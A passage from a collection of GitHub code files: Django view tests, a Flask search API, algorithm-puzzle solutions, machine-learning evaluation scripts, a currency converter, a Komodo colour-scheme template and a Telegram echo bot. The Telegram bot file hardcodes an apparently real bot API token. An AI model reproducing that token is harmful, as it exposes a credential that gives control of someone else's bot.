scaleObj[\"emoji\"]\n\n return emoji\n","repo_name":"FlySniper/fitebot","sub_path":"commands/leaderboard_commands.py","file_name":"leaderboard_commands.py","file_ext":"py","file_size_in_byte":2415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"24987647434","text":"from django.test import TestCase\nfrom django.urls import reverse\n\nfrom worker_managment.views.work import *\nfrom worker_managment.models import Company, Work, Workplace, Worker\n\n\nclass TestWorkList(TestCase):\n def setUp(self):\n self.company = Company.objects.create(name='Company One')\n Work.objects.create(name='A', company=self.company)\n Work.objects.create(name='B', company=self.company)\n\n def test_get_work_list(self):\n response = self.client.get(\n reverse('wmanagment:works', kwargs={'pk': self.company.pk}))\n\n self.assertEqual(response.context['company'], self.company)\n self.assertTrue(response.context['works'])\n\n def test_add_work_post(self):\n response = self.client.post(\n reverse('wmanagment:works', kwargs={'pk': self.company.pk}), {'name': 'C'})\n\n self.assertTrue(Work.objects.get(name='C'))\n\n\nclass TestWorkDetails(TestCase):\n def setUp(self):\n self.company = Company.objects.create(name='Company One')\n self.work = Work.objects.create(name='A', company=self.company)\n Workplace.objects.create(name='A', work=self.work)\n Workplace.objects.create(name='B', work=self.work)\n\n def test_get_work_details(self):\n response = self.client.get(\n reverse('wmanagment:work-details', kwargs={'company_id': self.company.pk, 'pk': self.work.pk}))\n\n self.assertEqual(response.context['work'], self.work)\n self.assertTrue(response.context['workplaces'])\n\n def test_add_workplace_post(self):\n response = self.client.post(\n reverse('wmanagment:work-details', kwargs={'company_id': self.company.pk, 'pk': self.work.pk}), {'name': 'C'})\n\n self.assertTrue(Workplace.objects.get(name='C'))\n\n\nclass TestWorkplaceDetails(TestCase):\n def setUp(self):\n self.company = Company.objects.create(name='Company One')\n self.work = Work.objects.create(name='A', company=self.company)\n self.worker = Worker.objects.create(name='A')\n self.workplace = Workplace.objects.create(name='A', work=self.work)\n\n def test_get_workplace_details(self):\n response = self.client.get(\n reverse('wmanagment:workplace-details', kwargs={'company_id': self.company.pk, 'work_id': self.work.pk, 'pk': self.workplace.pk}))\n\n self.assertEqual(response.context['work'], self.work)\n self.assertEqual(response.context['workplace'], self.workplace)\n\n def test_update_workpalce_info_post(self):\n response = self.client.post(\n reverse('wmanagment:workplace-details', kwargs={\n 'company_id': self.company.pk, 'work_id': self.work.pk, 'pk': self.workplace.pk}),\n {'worker': self.worker.pk, 'status': 3})\n\n self.assertEqual(Workplace.objects.get(\n pk=self.workplace.pk).worker, self.worker)\n self.assertEqual(Workplace.objects.get(pk=self.workplace.pk).status, 3)\n","repo_name":"malexit240/django-work_managment","sub_path":"worker_managment/tests/test_work_views.py","file_name":"test_work_views.py","file_ext":"py","file_size_in_byte":2936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"16969962376","text":"\nfrom flask import Flask,jsonify\nfrom project import solve\nfrom flask_cors import CORS ,cross_origin\napp = Flask(__name__)\n\n@app.route(\"/\")\n@cross_origin()\ndef hello_world():\n return \"

    Hello, World!

    \"\n\n@app.route('/querry/',methods=['POST',\"GET\"])\n@cross_origin()\ndef querry(s):\n a,b,c=solve(s)\n result={ \n \"DocIds\" :a,\n \"fileIndex\" :b,\n \"arraylist\" :c,\n \"Status\" :200,\n }\n return jsonify(result)\n\nif __name__==\"__main__\":\n app.run(debug=True)\n\n\n","repo_name":"iamvks12022001/IR-project","sub_path":"main/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"71729305033","text":"\"\"\"\r\n逻辑流程:\r\n1. 透过循环把list轮一遍\r\n2. 如果target - nums不在字典里 则存进字典\r\n3. 如果在字典里 就提取出来\r\n\r\n存字典的目的:\r\n1. 可以避免list中单笔资料被提取两次\r\n EX: [3, 2, 4] target=6 则3就会被提两次而回传[0, 0]但正解是[1, 2]\r\n2. 可以解决list中如果有两笔相同数值的资料\r\n EX: [3, 3] target=6 \r\n\r\n缺点:\r\n多一个字典的储存空间\r\n\"\"\"\r\nclass Solution:\r\n def twoSum(self, nums: List[int], target: int) -> List[int]:\r\n dic = {}\r\n for i in range(len(nums)):\r\n if target-nums[i] not in dic:\r\n dic[nums[i]] = i\r\n else:\r\n return [dic[target-nums[i]], i]","repo_name":"TheQ5/LeetCode_prectice","sub_path":"twoSum.py","file_name":"twoSum.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"37975112513","text":"import torch\n\n\ndef torch_derivative(fx, x, create_graph=False):\n if len(fx.shape) == 2:\n fx = fx.unsqueeze(0)\n dfdx = []\n flat_fx = fx.reshape(-1)\n for i in range(len(flat_fx)):\n (grad_x,) = torch.autograd.grad(\n flat_fx[i],\n x,\n torch.ones_like(flat_fx[i]),\n retain_graph=True,\n create_graph=create_graph,\n )\n dfdx.append(grad_x)\n return torch.stack(dfdx).reshape(fx.shape[2] * x.shape[1], fx.shape[1] * x.shape[2])\n\n\ndef get_derivative_names(property, avail):\n if property not in avail:\n if property == \"forces\" and \"energy\" in avail:\n init_property, out_name, derivative = \"energy\", \"forces\", -1\n wrt = [\"_positions\"]\n elif property == \"hessian\" and \"forces\" in avail:\n init_property, out_name, derivative = \"forces\", \"hessian\", -1\n wrt = [\"_positions\"]\n elif property == \"hessian\" and \"energy\" in avail:\n init_property, out_name, derivative = \"energy\", \"hessian\", 2\n wrt = [\"_positions\", \"_positions\"]\n else:\n raise ValueError(\n \"The property {} is not in the available properties of the model : {}.\".format(\n property, avail\n )\n )\n elif property == \"energy\" and \"energy_U0\" in avail:\n init_property, out_name, derivative, wrt = \"energy_U0\", \"\", 0, []\n else:\n init_property, out_name, derivative, wrt = property, \"\", 0, []\n return init_property, out_name, derivative, wrt\n","repo_name":"OMalenfantThuot/ML_Calc_Driver","sub_path":"mlcalcdriver/calculators/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"27563083026","text":"from itertools import combinations\nfrom sys import stdin\n\n\ndef find_dwarf_sum(numbers, target):\n results = []\n for i in range(len(numbers)):\n results.extend([combination for combination in combinations(numbers ,i) if sum(combination) == target])\n\n for result in results:\n if len(result) == 7:\n return list(result)\n return 0\n\ndef main():\n numbers = []\n i = 0\n while i < 9:\n n = int(input())\n numbers.append(n)\n i += 1\n results = find_dwarf_sum(numbers, 100)\n\n answer = []\n i = 0\n while i < len(numbers):\n j = 0\n while j < len(results):\n if results[j] == numbers[i]:\n answer.append(results[j])\n j += 1\n i += 1\n [print(i) for i in answer]\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"theycallmemac/Kattis","sub_path":"patuljci/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"39626121616","text":"import json\r\nimport requests\r\nfrom config import keys\r\n\r\nclass ConvertionException(Exception):\r\n pass\r\n\r\n\r\nclass CryptoConverter:\r\n @staticmethod\r\n def convert(quote: str, base: str, amount: str) -> float:\r\n if quote == base:\r\n raise ConvertionException(f'Невозможно конвертировать одинаковые валюты {base}.')\r\n\r\n try:\r\n quote_ticker = keys[quote]\r\n except KeyError:\r\n raise ConvertionException(f'Не удалось обработать валюту {quote}')\r\n\r\n try:\r\n base_ticker = keys[base]\r\n except KeyError:\r\n raise ConvertionException(f'Не удалось обработать валюту {base}')\r\n\r\n try:\r\n amount = float(amount)\r\n except ValueError:\r\n raise ConvertionException(f'Не удалось обработать количество {amount}')\r\n\r\n response = requests.get(f'https://min-api.cryptocompare.com/data/price?fsym={quote_ticker}&tsyms={base_ticker}')\r\n response_json = json.loads(response.text)\r\n\r\n if base_ticker not in response_json:\r\n raise ConvertionException(f'Не удалось получить курс {base_ticker} к {quote_ticker}.')\r\n\r\n exchange_rate = response_json[base_ticker]\r\n\r\n total_base = exchange_rate * amount\r\n return total_base","repo_name":"DANIILDISA/HW_TGcurBot","sub_path":"extensions.py","file_name":"extensions.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"40852234372","text":"# -*- coding: utf-8 -*-\nimport os\nimport argparse\nimport time\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\nfrom ctpn_dataset import vocDataset\nfrom ctpn_model import CTPN_Model, RPN_CLS_Loss, RPN_REGR_Loss\n\n\nparser = argparse.ArgumentParser(description='test')\nparser.add_argument('--data_root', default='', type=str, help='data root in voc2007')\nparser.add_argument('--model_path', default='./checkpoints/CTPN.pth', type=str, help='trained model path')\nparser.add_argument('--batch_size', default=2, type=int, help='batch size')\n\n\ndef val(model, loader, criterion_cls, criterion_regr, device):\n for p in model.parameters():\n p.requires_grad = False\n model.eval()\n\n total_cls_loss = 0\n total_v_reg_loss = 0\n total_loss = 0\n epoch_size = len(loader)\n start_time = time.time()\n for i_batch, (image, gt_boxes, clss, index) in enumerate(loader):\n gt_boxes = gt_boxes.to(device)\n clss = clss.to(device)\n image = image.to(device)\n\n out_cls, out_regr = model(image)\n loss_cls = criterion_cls(out_cls, clss)\n loss_regr = criterion_regr(out_regr, gt_boxes)\n loss = loss_cls + loss_regr \n\n\n total_cls_loss += loss_cls.item()\n total_v_reg_loss += loss_regr.item()\n total_loss += loss.item()\n print(f'Batch:{i_batch}/{epoch_size}')\n \n end_time = time.time()\n total_time = end_time - start_time\n \n total_cls_loss /= epoch_size\n total_v_reg_loss /= epoch_size\n total_loss /= epoch_size\n avg_infer_time = total_time/epoch_size\n\n print('#################### Start evaluate ####################')\n print(f'loss: {total_loss:.4f}')\n print(f'classification loss: {total_cls_loss:.4f}')\n print(f'vertical regression loss: {total_v_reg_loss:.4f}')\n print(f'{epoch_size} iterations for {total_time:.4f} seconds, avg {avg_infer_time:.4f} seconds.')\n print('##################### Evaluate end #####################')\n print('\\n')\n\n return total_cls_loss, total_v_reg_loss, total_loss\n\n\nif __name__ == \"__main__\":\n opt = parser.parse_args()\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n model = CTPN_Model()\n criterion_cls = RPN_CLS_Loss(device)\n criterion_regr = RPN_REGR_Loss(device)\n if torch.cuda.is_available():\n torch.backends.cudnn.benchmark = True\n model = model.cuda()\n\n val_dataset = vocDataset(opt.data_root)\n val_dataloader = DataLoader(val_dataset, batch_size=opt.batch_size, shuffle=False, num_workers=4)\n \n if opt.model_path !='' and os.path.exists(opt.model_path):\n print('loading pretrained model from %s' % opt.model_path)\n cc = torch.load(opt.model_path, map_location=device)\n model.load_state_dict(cc['model_state_dict'])\n loss_cls, loss_regr, loss = val(model, val_dataloader, criterion_cls, criterion_regr, device)\n else:\n print(f'evaluate Error: {opt.model_path} doesnot exist')","repo_name":"factzero/calculation_ocr","sub_path":"textdetection/ctpn/evaluate_ctpn.py","file_name":"evaluate_ctpn.py","file_ext":"py","file_size_in_byte":2969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"14005644240","text":"from unittest.mock import AsyncMock\n\nfrom app.bot.subscription_handlers import start_subscription\n\n\nasync def test_start_subscription_smoke(mocker):\n mock = mocker.patch('app.bot.subscription_handlers.CreateSubscription.family_name.set')\n expected_reply = '\\n'.join((\n 'Please, write the bike family name.When it will be available we will let you know!',\n ))\n message_mock = AsyncMock()\n\n await start_subscription(message=message_mock)\n\n message_mock.reply.await_args.assert_called_with(expected_reply)\n assert mock.call_count == 1\n\n\nasync def test_start_subscription_to_much_subscriptions(mocker):\n mocker.patch('app.bot.subscription_handlers.CreateSubscription.family_name.set')\n mocker.patch('app.bot.subscription_handlers.get_subscription_amount', return_value = 10)\n expected_reply = '\\n'.join((\n 'You have already 10 subscriptions.',\n 'Delete some to create a new one, please.',\n ))\n message_mock = AsyncMock()\n\n await start_subscription(message=message_mock)\n\n message_mock.reply.await_args.assert_called_with(expected_reply)","repo_name":"Eira/canyon-notifier","sub_path":"tests/bot/subscription_handlers/test_start_subscription.py","file_name":"test_start_subscription.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"73514953672","text":"import math\nfrom functools import reduce\n\ndef rev(num):\n return int(num != 0) and ((num % 10) * \\\n (10**int(math.log(num, 10))) + \\\n rev(num // 10))\n\ndef factors(n):\n return set(reduce(list.__add__,\n ([i, n//i] for i in range(1, int(n**0.5) + 1) if (n % i == 0 ))\n )\n )\nEPS = 10e-6\n\ndef solve(A):\n sum=0\n for num in factors(A):\n if num==rev(num):\n sum+=1\n return sum\n\n\n\n\ndef main():\n #inputs\n T= int(input())\n\n for i in range(T):\n A=int(input())\n\n\n print('Case #'+str(i+1)+': '+str(solve(A)))\n\n\n\n\nif __name__=='__main__' :\n\n main()","repo_name":"Last-Autumn-Leaf/CompetitiveProgramming","sub_path":"old KS/roundB_B.py","file_name":"roundB_B.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"19016525218","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ('accounts', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='UserDetails',\n fields=[\n ('id', models.AutoField(serialize=False, auto_created=True, primary_key=True, verbose_name='ID')),\n ('role', models.CharField(max_length=100)),\n ('start', models.CharField(max_length=100)),\n ('end', models.CharField(max_length=100)),\n ('is_admin', models.BooleanField()),\n ('is_student', models.BooleanField()),\n ('is_member', models.BooleanField()),\n ('is_chair', models.BooleanField()),\n ('user', models.OneToOneField(to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.RemoveField(\n model_name='member',\n name='user',\n ),\n migrations.DeleteModel(\n name='Member',\n ),\n ]\n","repo_name":"andrejskok/isasuk","sub_path":"isasuk/accounts/migrations/0002_auto_20160206_2010.py","file_name":"0002_auto_20160206_2010.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"34291787054","text":"import torch\nimport random\nimport tensorflow.compat.v2 as tf\nimport argparse\nfrom tensorflow.keras import backend as K\nimport os\nimport numpy as np\nfrom scipy.special import logsumexp, softmax\nfrom art.utils import load_cifar10\n(x_train, y_train), (x_test, y_test), min_pixel_value, max_pixel_value = load_cifar10()\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"2\" \ntf.enable_v2_behavior()\nparser = argparse.ArgumentParser()\nparser.add_argument('--experiment_dir', type=str, default=' ')\nparser.add_argument('--layer_indexes', type=int,nargs='+')\n\nparser=parser.parse_args()\ndef get_all_layer_outputs_fn3(model,i,j):\n '''Builds and returns function that returns the output of every (intermediate) layer'''\n\n return K.function([model.layers[i+1].input],\n [model.layers[j].output])\ndef compress(best_model,layers,inter):\n acc_test = 0\n for j in range(0,len(inter)+1):\n #print('-------------','remove {} layers'.format(j))\n predictions = get_all_layer_outputs_fn3(best_model,-1,layers[0]+1)(x_test)[0]\n temp = 0\n for i in list(inter[:j]):\n if not temp ==i-1: # two adjacent layers [deleted together]\n predictions = get_all_layer_outputs_fn3(best_model,layers[temp]+1,layers[i-1]+1)(predictions)[0]\n temp = i\n predictions = get_all_layer_outputs_fn3(best_model,layers[temp]+1,len(best_model.layers)-1)(predictions)[0]\n acc_test = np.sum(np.argmax(predictions, axis=1) == np.argmax(y_test, axis=1)) / 10000\n return acc_test\n #print(acc_test)\n\nif __name__ == '__main__':\n best_model = tf.keras.models.load_model(parser.experiment_dir)\n layers = torch.load('../checkpoint/resnet110_block.pt')\n '''\n input: the indexes of layers to be add or remove\n '''\n \n print(parser.layer_indexes)\n n = len(parser.layer_indexes)\n for i in range(1,n+1):\n best = 0\n ans = 0\n for j in range(5):\n iter = random.sample(parser.layer_indexes,i)\n iter.sort()\n ans = compress(best_model,layers,iter)\n if ans>best:\n best = ans\n print('After deleting {} blocks, the guaranteed accuracy is {} '.format(i,best))\n \n","repo_name":"hnurxn/Deep-Arc","sub_path":"RQ3/find_redundant.py","file_name":"find_redundant.py","file_ext":"py","file_size_in_byte":2210,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"27"} +{"seq_id":"38574250836","text":"def hexToBGR(val):\n if type(val) == int:\n return val\n\n val = val.lstrip('#')\n if len(val) == 3:\n val += val\n\n r,g,b = int(val[:2], 16), int(val[2:4], 16), int(val[4:], 16)\n color = r+g*256+b*256*256\n return color\n\ndef parseColors(colors):\n\n colors = colors.copy()\n\n colors[\"B00\"] = hexToBGR(colors[\"B00\"])\n colors[\"B01\"] = hexToBGR(colors[\"B01\"])\n colors[\"B02\"] = hexToBGR(colors[\"B02\"])\n colors[\"B03\"] = hexToBGR(colors[\"B03\"])\n colors[\"B04\"] = hexToBGR(colors[\"B04\"])\n colors[\"B05\"] = hexToBGR(colors[\"B05\"])\n colors[\"B06\"] = hexToBGR(colors[\"B06\"])\n colors[\"B07\"] = hexToBGR(colors[\"B07\"])\n colors[\"B08\"] = hexToBGR(colors[\"B08\"])\n colors[\"B09\"] = hexToBGR(colors[\"B09\"])\n colors[\"B0A\"] = hexToBGR(colors[\"B0A\"])\n colors[\"B0B\"] = hexToBGR(colors[\"B0B\"])\n colors[\"B0C\"] = hexToBGR(colors[\"B0C\"])\n colors[\"B0D\"] = hexToBGR(colors[\"B0D\"])\n colors[\"B0E\"] = hexToBGR(colors[\"B0E\"])\n colors[\"B0F\"] = hexToBGR(colors[\"B0F\"])\n\n colors[\"red\"] = colors[\"B08\"]\n colors[\"orange\"] = colors[\"B09\"]\n colors[\"yellow\"] = colors[\"B0A\"]\n colors[\"green\"] = colors[\"B0B\"]\n colors[\"teal\"] = colors[\"B0C\"]\n colors[\"blue\"] = colors[\"B0D\"]\n colors[\"purple\"] = colors[\"B0E\"]\n colors[\"themed\"] = colors[\"B0F\"]\n\n return colors\n\ndef parseScheme(colors):\n return {\n\n 'Version': 13,\n\n 'Booleans': {\n 'caretLineVisible': True,\n 'preferFixed': True,\n 'useSelFore': False\n },\n\n 'CommonStyles': {\n 'attribute name': {\n 'fore': colors[\"orange\"]\n },\n 'attribute value': {\n 'fore': colors[\"green\"]\n },\n 'bracebad': {\n 'fore': colors[\"baseForeBlend1\"]\n },\n 'bracehighlight': {\n 'fore': colors[\"baseForeBlend1\"],\n 'back': colors[\"baseBackBlend2\"]\n },\n 'classes': {\n 'fore': colors[\"yellow\"]\n },\n 'comments': {\n 'fore': colors[\"comment\"],\n 'italic': True\n },\n 'control characters': {\n 'fore': colors[\"orange\"]\n },\n 'default_fixed': {\n 'back': colors[\"baseBack\"],\n 'eolfilled': 0,\n 'face': 'Monaco, \"Source Code Pro\", Consolas, Inconsolata, \"DejaVu Sans Mono\", \"Bitstream Vera Sans Mono\", Menlo, Monaco, \"Courier New\", Courier, Monospace',\n 'fore': colors[\"baseFore\"],\n 'hotspot': 0,\n 'italic': 0,\n# #if PLATFORM == \"darwin\"\n 'size': 13,\n# #else\n 'size': 11,\n# #endif\n \n 'useFixed': 1,\n 'bold': 0,\n 'lineSpacing': 2\n },\n 'default_proportional': {\n 'back': colors[\"baseBack\"],\n 'eolfilled': 0,\n 'face': '\"DejaVu Sans\", \"Bitstream Vera Sans\", Helvetica, Tahoma, Verdana, sans-serif',\n 'fore': colors[\"baseFore\"],\n 'hotspot': 0,\n 'italic': 0,\n# #if PLATFORM == \"darwin\"\n 'size': 13,\n# #else\n 'size': 11,\n# #endif\n 'useFixed': 0,\n 'bold': 0,\n 'lineSpacing': 2\n },\n 'fold markers': {\n 'fore': colors[\"comment\"],\n 'back': colors[\"baseBack\"]\n },\n 'functions': {\n 'fore': colors[\"blue\"]\n },\n 'identifiers': {\n 'fore': colors[\"baseForeBlend1\"]\n },\n 'indent guides': {\n 'fore': colors[\"baseBackBlend1\"]\n },\n 'keywords': {\n 'fore': colors[\"purple\"]\n },\n 'keywords2': {\n 'fore': colors[\"red\"]\n },\n 'linenumbers': {\n 'back': colors[\"baseBackBlend1\"],\n 'fore': colors[\"baseBackBlend3\"],\n 'size': 10,\n 'useFixed': True,\n 'bold': False\n },\n 'numbers': {\n 'fore': colors[\"orange\"]\n },\n 'operators': {\n 'fore': colors[\"blue\"]\n },\n 'preprocessor': {\n 'fore': colors[\"baseForeBlend1\"]\n },\n 'regex': {\n 'fore': colors[\"teal\"]\n },\n 'stderr': {\n 'fore': colors[\"red\"]\n },\n 'stdin': {\n 'fore': colors[\"orange\"]\n },\n 'stdout': {\n 'fore': colors[\"teal\"]\n },\n 'stringeol': {\n 'back': colors[\"baseForeBlend2\"],\n 'eolfilled': True\n },\n 'strings': {\n 'fore': colors[\"green\"]\n },\n 'tags': {\n 'fore': colors[\"red\"]\n },\n 'variables': {\n 'fore': colors[\"red\"]\n }\n },\n\n 'LanguageStyles': {\n 'CSS': {\n 'ids': {\n 'fore': colors[\"purple\"]\n },\n 'values': {\n 'fore': colors[\"green\"]\n }\n },\n 'Diff': {\n 'additionline': {\n 'fore': colors[\"green\"]\n },\n 'chunkheader': {\n 'fore': colors[\"baseForeBlend2\"]\n },\n 'deletionline': {\n 'fore': colors[\"red\"]\n },\n 'diffline': {\n 'fore': colors[\"yellow\"]\n },\n 'fileline': {\n 'fore': colors[\"baseFore\"]\n }\n },\n 'Errors': {\n 'Error lines': {\n 'fore': colors[\"red\"],\n 'hotspot': 1,\n 'italic': 1\n }\n },\n 'HTML': {\n 'attributes': {\n 'fore': colors[\"green\"]\n },\n 'cdata': {\n 'fore': colors[\"orange\"]\n },\n 'cdata content': {\n 'fore': colors[\"baseFore\"]\n },\n 'cdata tags': {\n 'fore': colors[\"baseForeBlend1\"]\n },\n 'xpath attributes': {\n 'fore': colors[\"teal\"]\n }\n },\n 'HTML5': {\n 'attributes': {\n 'fore': colors[\"green\"]\n },\n 'cdata': {\n 'fore': colors[\"orange\"]\n },\n 'cdata content': {\n 'fore': colors[\"baseFore\"]\n },\n 'cdata tags': {\n 'fore': colors[\"baseForeBlend1\"]\n },\n 'xpath attributes': {\n 'fore': colors[\"teal\"]\n }\n },\n 'XML': {\n 'attributes': {\n 'fore': colors[\"green\"]\n },\n 'cdata': {\n 'fore': colors[\"orange\"]\n },\n 'cdata content': {\n 'fore': colors[\"baseFore\"]\n },\n 'cdata tags': {\n 'fore': colors[\"baseForeBlend1\"]\n },\n 'xpath attributes': {\n 'fore': colors[\"teal\"]\n }\n },\n 'JavaScript': {\n 'commentdockeyword': {\n 'fore': colors[\"commentBlend\"]\n },\n 'commentdockeyworderror': {\n 'fore': colors[\"red\"]\n },\n 'globalclass': {\n 'fore': colors[\"yellow\"]\n }\n },\n 'PHP': {\n 'commentdockeyword': {\n 'fore': colors[\"commentBlend\"]\n },\n 'commentdockeyworderror': {\n 'fore': colors[\"red\"]\n }\n }\n },\n\n 'MiscLanguageSettings': {},\n\n 'Colors': {\n 'bookmarkColor': colors[\"baseBackBlend2\"],\n 'callingLineColor': colors[\"baseBackBlend1\"],\n 'caretFore': colors[\"commentBlend\"],\n 'caretLineBack': colors[\"baseBackBlend1\"],\n 'changeMarginDeleted': colors[\"red\"],\n 'changeMarginInserted': colors[\"green\"],\n 'changeMarginReplaced': colors[\"blue\"],\n 'currentLineColor': colors[\"baseBackBlend1\"],\n 'edgeColor': colors[\"baseBackBlend1\"],\n 'foldMarginColor': colors[\"baseBackBlend1\"],\n 'selBack': colors[\"baseBackBlend2\"],\n 'selFore': colors[\"baseFore\"],\n 'whitespaceColor': colors[\"baseBackBlend2\"]\n },\n\n 'Indicators': {\n 'collab_local_change': {\n 'alpha': 0,\n 'color': colors[\"green\"],\n 'draw_underneath': False,\n 'style': 5\n },\n 'collab_remote_change': {\n 'alpha': 255,\n 'color': colors[\"yellow\"],\n 'draw_underneath': True,\n 'style': 7\n },\n 'collab_remote_cursor_1': {\n 'alpha': 255,\n 'color': colors[\"yellow\"],\n 'draw_underneath': True,\n 'style': 6\n },\n 'collab_remote_cursor_2': {\n 'alpha': 255,\n 'color': colors[\"orange\"],\n 'draw_underneath': True,\n 'style': 6\n },\n 'collab_remote_cursor_3': {\n 'alpha': 255,\n 'color': colors[\"red\"],\n 'draw_underneath': True,\n 'style': 6\n },\n 'collab_remote_cursor_4': {\n 'alpha': 255,\n 'color': colors[\"blue\"],\n 'draw_underneath': True,\n 'style': 6\n },\n 'collab_remote_cursor_5': {\n 'alpha': 255,\n 'color': colors[\"teal\"],\n 'draw_underneath': True,\n 'style': 6\n },\n 'find_highlighting': {\n 'alpha': 100,\n 'color': colors[\"baseBackBlend2\"],\n 'draw_underneath': True,\n 'style': 7\n },\n 'linter_error': {\n 'alpha': 255,\n 'color': colors[\"red\"],\n 'draw_underneath': True,\n 'style': 13\n },\n 'linter_warning': {\n 'alpha': 255,\n 'color': colors[\"yellow\"],\n 'draw_underneath': True,\n 'style': 13\n },\n 'multiple_caret_area': {\n 'alpha': 255,\n 'color': colors[\"blue\"],\n 'draw_underneath': False,\n 'style': 6\n },\n 'soft_characters': {\n 'alpha': 255,\n 'color': colors[\"baseForeBlend2\"],\n 'draw_underneath': False,\n 'style': 0\n },\n 'tabstop_current': {\n 'alpha': 255,\n 'color': colors[\"baseBackBlend1\"],\n 'draw_underneath': True,\n 'style': 7\n },\n 'tabstop_pending': {\n 'alpha': 255,\n 'color': colors[\"baseBackBlend2\"],\n 'draw_underneath': True,\n 'style': 6\n },\n 'tag_matching': {\n 'alpha': 255,\n 'color': colors[\"blue\"],\n 'draw_underneath': False,\n 'style': 0\n }\n }\n\n }\n","repo_name":"almasry/KomodoEdit","sub_path":"src/schemes/color_schemes/templates/common.p.py","file_name":"common.p.py","file_ext":"py","file_size_in_byte":11995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"27"} +{"seq_id":"2926128607","text":"# Connor Stephen 20/2/2018\r\n# Sybot 0.0.1 for Telegram Messenger\r\n\r\nimport json\r\nimport time\r\nimport requests\r\nimport urllib\r\n\r\nTOKEN = \"533270691:AAE8CchLPpaUfSJnq6NSIDBBUIjo2VPJZgI\"\r\nURL = \"https://api.telegram.org/bot{}/\".format(TOKEN)\r\n\r\n# gets the url for the bot API\r\ndef get_url(url):\r\n\tresponse = requests.get(url)\r\n\tcontent = response.content.decode(\"utf8\")\r\n\treturn content\r\n\r\n# gets the JSON content from the URL\r\ndef get_json_from_url(url):\r\n\tcontent = get_url(url)\r\n\tjs = json.loads(content)\r\n\treturn js\r\n\r\n# checks for updates from a given chat. times out if after 60 seconds no message is sent\r\ndef get_updates(offset=None):\r\n\turl = URL + \"getUpdates?timeout=60\"\r\n\tif offset:\r\n\t\turl += \"&offset={}\".format(offset)\r\n\tjs = get_json_from_url(url)\r\n\treturn js\r\n\r\n# loops through each update and returns biggest ID to call getUpdate again\r\ndef get_last_update_id(updates):\r\n\tupdate_ids = []\r\n\tfor update in updates[\"result\"]:\r\n\t\tupdate_ids.append(int(update[\"update_id\"]))\r\n\treturn max(update_ids)\r\n\t\r\n# sends a reply for every message received\r\ndef echo_all(updates):\r\n\tfor update in updates[\"result\"]:\r\n\t\ttry:\r\n\t\t\ttext = update[\"message\"][\"text\"]\r\n\t\t\tchat = update[\"message\"][\"chat\"][\"id\"]\r\n\t\t\tsend_message(text, chat)\r\n\t\texcept Exception as e:\r\n\t\t\tprint(e)\r\n\r\n# gets the id of the chat and the last message's text\r\ndef get_last_chat_id_and_text(updates):\r\n\tnum_updates = len(updates[\"result\"])\r\n\tlast_update = num_updates - 1\r\n\ttext = updates[\"result\"][last_update][\"message\"][\"text\"]\r\n\tchat_id = updates[\"result\"][last_update][\"message\"][\"chat\"][\"id\"]\r\n\treturn (text, chat_id)\r\n\r\n# sends message to individual chats\r\ndef send_message(text, chat_id):\r\n\ttext = urllib.parse.quote_plus(text)\r\n\turl = URL + \"sendMessage?text={}&chat_id={}\".format(text, chat_id)\r\n\tget_url(url)\r\n\t\r\n\r\ntext, chat = get_last_chat_id_and_text(get_updates())\r\nsend_message(text, chat)\r\n\r\n# main function\r\ndef main():\r\n\tlast_update_id = None\r\n\twhile True:\r\n\t\tprint(\"Getting updates...\")\r\n\t\tupdates = get_updates(last_update_id)\r\n\t\tif len(updates[\"result\"]) > 0:\r\n\t\t\tlast_update_id = get_last_update_id(updates) + 1\r\n\t\t\techo_all(updates)\r\n\t\ttime.sleep(0.5)\r\n\t\t\r\n# if the main function is called main, then main is called\r\nif __name__ == '__main__':\r\n\tmain()\r\n","repo_name":"Syhota/sybot","sub_path":"sybot.py","file_name":"sybot.py","file_ext":"py","file_size_in_byte":2246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"42941358192","text":"#coding:utf-8\n'''\n请实现一个函数按照之字形顺序打印二叉树，即第一行按照从左到右的顺序打印，第二层按照从右到左的顺序打印，\n第三行再按照从左到右的顺序打印，其他行以此类推。\n\n \n例如:\n给定二叉树: [3,9,20,null,null,15,7],\n\n 3\n / \\\n 9 20\n / \\\n 15 7\n返回其层次遍历结果：\n\n[\n [3],\n [20,9],\n [15,7]\n]\n\n'''\n\nclass Solution:\n def leverOrder(self, root):\n if not root:\n return []\n res = []\n queue = collections.deque()\n queue.append(root)\n while queue:\n 